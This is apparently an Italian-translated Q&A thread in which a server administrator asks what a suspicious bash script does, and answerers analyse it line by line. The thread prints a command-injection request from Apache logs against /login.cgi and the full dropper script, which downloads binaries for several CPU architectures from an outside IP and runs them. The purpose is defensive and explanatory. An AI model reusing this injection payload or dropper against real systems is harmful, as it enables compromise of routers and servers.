Cosa fa questo script bash? [Tentativo di hack]


31

Ho notato nei registri di Apache sui miei server, le seguenti strane righe recentemente:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Quindi ho creato un filtro Fail2Ban personalizzato e ho iniziato a vietare gli IP richiedendo questi URL /login.cgi.

Ma ero curioso di sapere cosa stessero cercando di fare, quindi ho estratto la sceneggiatura che stanno cercando di eseguire e non riesco a capire esattamente cosa faccia. Qualcosa sulla rimozione di cartelle arch in / var e / tmp?

Ad ogni modo, eccolo qui:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
Come ha fatto quello script ad arrivare sul tuo server in primo luogo?
MrWhite,

3
Ho appena aperto il file .sh in un browser sul mio PC di casa e copiato e incollato qui, non è mai effettivamente arrivato sul mio server.
ndom91,

1
Questo script è un 'dropper', che viene utilizzato per scaricare l'effettivo script di exploit. Si troverà hxxp://80.211.173.159:80/$namedove si $nametrova ciascuna delle architetture della CPU bin_names. Quindi verranno scaricati ed eseguiti 7 script di attacco
BlueCacti,

Risposte:


42

Linea per linea:

#!/bin/sh

Stabilisce la shshell, qualunque sia, come la linea shebang. sh%20/tmp/ksnella richiesta lo sostituisce, quindi questa riga viene trattata come un normale commento e ignorata.

u="asgknskjdgn"

Dichiara un nome arbitrario, presumibilmente per evitare di scontrarsi con altri nomi di file. Non sono sicuro del motivo per cui non lo userebbero mktemp, ma forse non è disponibile su tutte le piattaforme.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera diverse architetture CPU comuni.

http_server="80.211.173.159"
http_port=80

Il server che ha l'exploit.

cd /tmp/||cd /var/

Cerca di cambiare directory in un punto in cui è probabile che il tuo server web sia in grado di creare file. Credo che SELinux possa aiutare in questo, applicando regole molto più rigorose su ciò che il web server può fare rispetto al file system da solo.

for name in $bin_names
    do

Per ogni architettura CPU ...

    rm -rf $u

Rimuove i programmi di exploit precedentemente tentati. Non necessario a causa della riga successiva, quindi può essere ignorato.

    cp $SHELL $u

Copia l'eseguibile shell corrente ( /bin/sh). Può essere ignorato a causa della riga successiva.

    chmod 777 $u

Fa in modo che tutti abbiano pieno accesso al nuovo file. Questo avrebbe dovuto essere dopo il wgetcomando, che è o un segno di un principiante di script di shell o una tecnica di indirizzamento errato.

    >$u

Svuota il file. Inutile a causa della riga successiva.

    wget http://$http_server:$http_port/$name -O -> $u

Sovrascrive il file con lo script exploit per questa architettura. -O -> $uavrebbe potuto essere scritto -O - > $u(il trattino indica che il download dovrebbe essere scritto nello standard output) che è equivalente a -O $u.

    ./$u $name

Esegue lo script exploit con l'architettura come primo argomento.

done

Termina il ciclo.

Sembra che questo sia uno script di tentativo di exploit banale, che tenta exploit noti su varie piattaforme CPU. Non so perché venga sovrascritto $utre volte, ma quelle operazioni potrebbero semplicemente essere resti di una precedente iterazione della sceneggiatura. Presumibilmente quella versione precedente aveva gli exploit hard coded piuttosto che serviti dinamicamente - il primo è più facile ma quasi garantisce che lo script sarà meno efficace nel tempo poiché i bug vengono corretti.


21
Vi è un vantaggio a scrivere esplicitamente il file. Se la destinazione esiste già e viene eseguita in questo momento, il kernel non ti permetterà di aprire il file per la scrittura (-ETXTBSY). Tuttavia, è possibile rinominare o eliminare un programma in esecuzione.
Grawity

Cosa fa ->il wgetcomando nel? Perché non solo wget ... -O $u?
RonJohn,

1
@RonJohn lo ha letto come- >
cat

5
Con -O->filename, filenamenon compare nell'output di ps ax . Questo può essere un vantaggio per rendere più difficile il debug.
punti

1
Il cpti dà un file eseguibile. Forse utile se chmodfallisce? Modifica: dato che apparentemente si rivolge ai router, è possibile che chmodnon esista.
Bob,

12

Questa wgetè la chiave pericolosa chiave.

Sta for name in $bin_nameslavorando attraverso l'elenco delle piattaforme e per ogni piattaforma sta cancellando una directory temporanea, copiando una shell e rendendola accessibile a tutti.

Quindi scarica un file utilizzando wgete quindi lo esegue utilizzando il programma shell su cui è appena stato copiato.

Lo script sta fondamentalmente tentando di scaricare una serie di eseguibili o script per ogni piattaforma possibile e di sfregarli contro il sistema nella speranza che possa ulteriormente comprometterlo.


6
sfregamento == in esecuzione?
Barmar,

5
@Barmar Sono sicuro che era intenzionale: P
Luke canadese REINSTATE MONICA
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.